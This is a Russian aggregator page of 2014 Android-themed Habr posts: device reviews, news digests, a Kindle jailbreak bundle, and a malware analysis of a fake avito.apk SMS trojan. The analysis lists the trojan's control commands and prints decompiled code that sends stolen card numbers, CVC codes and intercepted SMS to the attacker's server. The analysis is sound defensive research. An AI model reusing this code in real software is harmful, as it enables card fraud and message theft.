
28 августа в уфимском антикафе «GoodZone» прошла научно-популярная лекция «Красота космоса». И я хочу представить вашему вниманию адаптацию лекции в Хабрапубликацию, а также небольшой рассказ о технических аспектах и софте, который использовался при подготовке и показе.
Читать полностью »
Рубрика «android» - 237
Красота космоса или как я научно-популярную лекцию читал
2014-08-31 в 16:03, admin, рубрики: android, libreoffice, космонавтика, Презентации, презентацияДайджест интересных материалов для мобильного разработчика #68 (25-31 августа)
2014-08-31 в 9:09, admin, рубрики: android, iOS, mobile development, windows phone, маркетинг, мобильные устройства, монетизация, Разработка под android, разработка под iOS, разработка приложенийВ новом еженедельном дайджесте о мобильной разработке занятная история деактивирования мобильного ботнета, смена директора в Rovio, разработка iOS игры в свободное от работы время, запуск iAd в России и много других интересных материалов.
Новые медиа-приставки на Rockchip RK3288 от компании Tronsmart уже в продаже
2014-08-29 в 16:28, admin, рубрики: android, Android 4.4, Блог компании Box Overview, Гаджеты для гиков, мини-компьютер
Китайская компания Tronsmart наконец-то анонсировала свои новые медиа-приставки на чипе Rockhip RK3288 под названием Orion R28. Продолжая традиции предыдущей модели Vega S89 будет 3 версии: Pro, Meta, Telos. Отличаются объёмом постоянной памяти и Wifi-чипами, а в версии Telos обещают установить 4GB оперативной памяти!
Ещё одной интересной особенностью является позиционирование устройства как Full Open Source — первые 90 покупателей каждой модели получат microSD карты с полным комплектом разработчика. Начало отгрузки устройств запланировано на 3 сентября.
Читать полностью »
Заочное знакомство с новой операционной системой Neonado OS
2014-08-29 в 15:45, admin, рубрики: android, метки: androidДанная статья, думаю, будет интересна любителям Android устройств с прошивками Lewa OS.
Neonado OS — разработана на базе Android 4.2 с элементами программного обеспечения от компании Lewa. Lewa — занимается созданием довольно неплохих прошивок для Android устройств.
Нас ждет что-то новое, но похожее на Lewa OS, или это будет что-то совсем другое!?
Читать полностью »
Джентльменский набор для Amazon Kindle Paperwhite
2014-08-29 в 4:58, admin, рубрики: amazon, Amazon Kindle, amazon kindle paperwhite, android, iOS, джентльменский набор, разработка под iOS
Чтобы настроить и установить все необходимое на любимую читалку Amazon Kindle Paperwhite требуется потратить достаточно много времени. С целью экономии Вашего времени, а также упрощения процесса настройки читалки, я и пишу данную статью. Также добавлены вкусные плюшки помимо стандартных вещей, которые можно сделать с Вашей любимой читалкой, порывшись в интернете… Я включил дополнительные настройки и немного подредактировал программный код. В итоге в мою сборку вошли модифицированные: приложения, игры, ланчер и меню. Кроме ярлыка ланчера, предназначенного для запуска альтернативного меню, на основном экране ничего постороннего нет.
Что входит в сборку:
— Jailbreak читалки Kindle Paperwhite;
— русификация клавиатуры;
— KUAL — ланчер киндл.
— альтернативное меню;
— словари для перевода текста в книгах с английского и на английский;
— читалки: KOReader и Cool Reader;
— браузеры: SkipStone и Midori;
— другие приложения: блокнот, доска для заметок, напоминалка, просмоторщик картинок, рисовалка, калькулятор, менеджер файлов;
— игры: шашки, шахматы, судоку, сокобан, реверси, гомоку, такузу;
— менеджер задач;
— быстрый вызов: вкл/выкл WiFi, вкл/выкл подсветки экрана, вкл/выкл ночного скринсейвера, вкл/выкл отображения аккумулятора в %, календарь, информация об устройстве.
Все действия со своей читалкой Вы делаете на свой страх и риск. Я никакой ответственности не несу за последствия данных действий. Не испугал Вас? Тогда приступим...
Читать полностью »
Бета-версия Unity3D 4.6, новые рекламные возможности от Google и продажа игровой студии за 1 млрд — главные мобильные новости за неделю
2014-08-27 в 7:38, admin, рубрики: android, Google Play, iOS, namco, Pac-Man, unity, unity3d, Zynga 
Много новостей и цифр про Unity3D c мероприятия Unite 2014
Мы решили составить список самой важной информации о Unity3D, которая была озвучена на конференции Unite 2014 в Сиэтле 20-22 августа. Думаем, комментарии здесь будут лишними.
1. Почти половина мобильных игр, сделанных не на нативных языках, создана на Unity.
2. MAU движка — 640 тысяч разработчиков.
3. Количество установленных игр, созданных на Unity3D, достигло почти 9 миллиардов!
4. Компания купила стартап Tsugi и переименовала его в Unity Austin. На базе технологии стартапа она создает Unity Cloud Build для автоматической сборки проектов из SVN, GIT и других репозиториев. Этого функционала очень не хватало. Многие команды делали этот инструментарий самостоятельно. Помимо этого появится возможность шарить билды. Сервис находится в стадии беты.
4. Стала доступна для скачивания бета-версия Unity3D 4.6. В ней появился следующий функционал:
— Мощная и быстрая система разработки пользовательского интерфейса, внешне очень напоминающая популярный ассет NGUI.
— Много готовых компонентов UI из коробки (кнопки, слайдеры, скроллирующиеся списки и т.д.).
— На UI можно применять эффекты и ставить отдельные источники освещения.
— Изменена система 2D-объектов. Она стала более гибкая и одинаково хорошо позволяет использовать 2D-спрайты для любых целей.
С полным списком изменений в версии 4.6 можете ознакомиться здесь: http://unity3d.com/unity/beta/4.6/release-notes
Читать полностью »
PiPO P1 — планшет на базе нового процессора RK3288
2014-08-27 в 5:34, admin, рубрики: android, Rockchip, Блог компании Box Overview, китай, обзор, планшет, планшеты, посылкаКогда речь заходит о недорогих планшетах и их процессорах, то в числе первых мы вспоминаем чипы китайского производителя Rockchip, на базе которых выполнено множество недорогих, но достаточно мощных устройств, работающих под управлением операционной системы Android. Наибольшей популярностью в настоящее время пользуются достаточно неплохие процессоры Rockchip RK3188, благодаря которым компании удалось завоевать весьма прочные позиции на рынке мобильных устройств.

Однако, время не стоит на месте, и на смену этому чипу идет более мощный процессор RK3288, который мы увидим в обзоре нового планшета от компании PiPO.
Читать полностью »
Разместил я, ничего не подозревая, объявление на avito.ru. Сколько раз туда ходил! Но на этот раз как-то не удалось…
Я давно был уверен, что многие нехорошие люди парсят телефонные номера с этого сайта, так что такси, строительные материалы, скорая компьютерная помощь, «8-800-555-3-555 — проще позвонить, чем у кого-то занимать» и приглашения на битву экстрасенсов для меня уже привычное дело, но на этот раз было нечто новое.
Приходит мне СМС-сообщение с текстом: «Зaинтерсoвaлo вaше oбьявление кaк нaсчет oбменa нa http://…». Прямо вот так, с пропущенным знаком препинания и ошибками. А по ссылке качается avito.apk. Интересно.
Исследование APK
Ну, подумал я, надо бы глянуть, что этот APK делает. Результат привычной для меня связки из apktool + dex2jar + jd-gui меня не удовлетворил, т.к. не было видно часть классов деревом, хотя доступ по ссылкам к ним получить было можно. Решил я воспользоваться новомодными онлайн-sandbox'ами — и декомпилированный код получил, и информацию, и pcap-файл со сдампленным трафиком. Как оказалось, этот файл загружали до меня, поэтому в мои руки попал более ранний анализ, что было достаточно полезно.
Итак, что умеет этот троян:
- delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом
- sent&&& — отправка заданных СМС-сообщений с сервера
- rent&&& — перехват всех СМС-сообщений и отправка их на сервер
- sms_stop&&& — отмена перехвата СМС-сообщений
- ussd&&& — USSD-запрос
- call_1&&& — установка и отмена безусловной переадресации
protected HttpRequestBase a()
{
try
{
HttpPost httppost = new HttpPost(d());
ArrayList arraylist = new ArrayList();
arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c())));
arraylist.add(new BasicNameValuePair("number", b));
arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue())));
arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue())));
arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue())));
httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
return httppost;
}
catch(UnsupportedEncodingException unsupportedencodingexception)
{
unsupportedencodingexception.printStackTrace();
}
return null;
}
protected String d()
{
return new String((new StringBuilder()).append(a).append("set_card.php").toString());
}
protected HttpRequestBase a()
{
try
{
HttpPost httppost = new HttpPost(d());
ArrayList arraylist = new ArrayList();
arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b)));
arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b)));
httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
return httppost;
}
catch(UnsupportedEncodingException unsupportedencodingexception)
{
unsupportedencodingexception.printStackTrace();
}
return null;
}
protected String d()
{
return new String((new StringBuilder()).append(a).append("get.php").toString());
}
protected HttpRequestBase a()
{
try
{
JSONObject jsonobject = new JSONObject();
jsonobject.put("text", c);
jsonobject.put("number", d);
jsonobject.put("date", e);
HttpPost httppost = new HttpPost(d());
ArrayList arraylist = new ArrayList();
arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b)));
arraylist.add(new BasicNameValuePair("sms", jsonobject.toString()));
httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
return httppost;
}
catch(UnsupportedEncodingException unsupportedencodingexception)
{
unsupportedencodingexception.printStackTrace();
}
catch(JSONException jsonexception)
{
jsonexception.printStackTrace();
}
return null;
}
protected String d()
{
return new String((new StringBuilder()).append(a).append("load_sms.php").toString());
Помимо этих команд, троян отключает Wifi Sleep, пытается получить доступ к зашифрованному хранилищу и установить себя в качестве Android-администратора (естественно, при этом используются стандартные диалоги ОС, где можно отменить данное действие). Код трояна не обфусцирован, некоторые строки закодированы base64. Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что, но в нем имеются строки на португальском, немецком, английском, Ubuntu-шрифты, форма для перехвата данных из приложения немецкого банка Commerzbank, значок какой-то игры и флеш-плеера.Читать полностью »
Контур.Эльба под Android. Записки разработчика
2014-08-26 в 8:58, admin, рубрики: android, контур.эльба, Разработка под android
В конце прошлого года я присоединился к команде веб-сервиса Эльба, и мы приступили к разработке «электронного бухгалтера» для Android.
В этом посте я расскажу о том, почему мы отказались от мобильной версии сайта в пользу приложений, на какие грабли в процессе разработки наступили и что из этого получилось.
Статья будет полезна:
- андроид-разработчикам;
- руководителям разработки веб-сервисов, которые подумывают выходить на мобильный рынок;
- предпринимателям, которые уже давно ищут способ «запихнуть свой бизнес в телефон».
Что ждать от нового Samsung Galaxy Note 4
2014-08-26 в 5:20, admin, рубрики: android, galaxy note 4, samsung galaxy note, планшеты, смартфонПривет!
В сентябре на IFA 2014 Samsung представит преемника Note III, новый смартфон с 5,75 дюймовым Quad HD дисплеем, традиционной для этой линейки S-Pen и передовой начинкой. Подробнее о подтвержденных данных и о слухах, а также об истории линейки с 2011 года — в этом посте.

Экскурс в историю
Об этой компании в рамках Истории брендов я уже писал тут: История Samsung Electronics: От сушеной рыбы до высоких технологий. А сейчас предлагаю посмотреть, как смартфоны Galaxy Note менялись с течением времени.


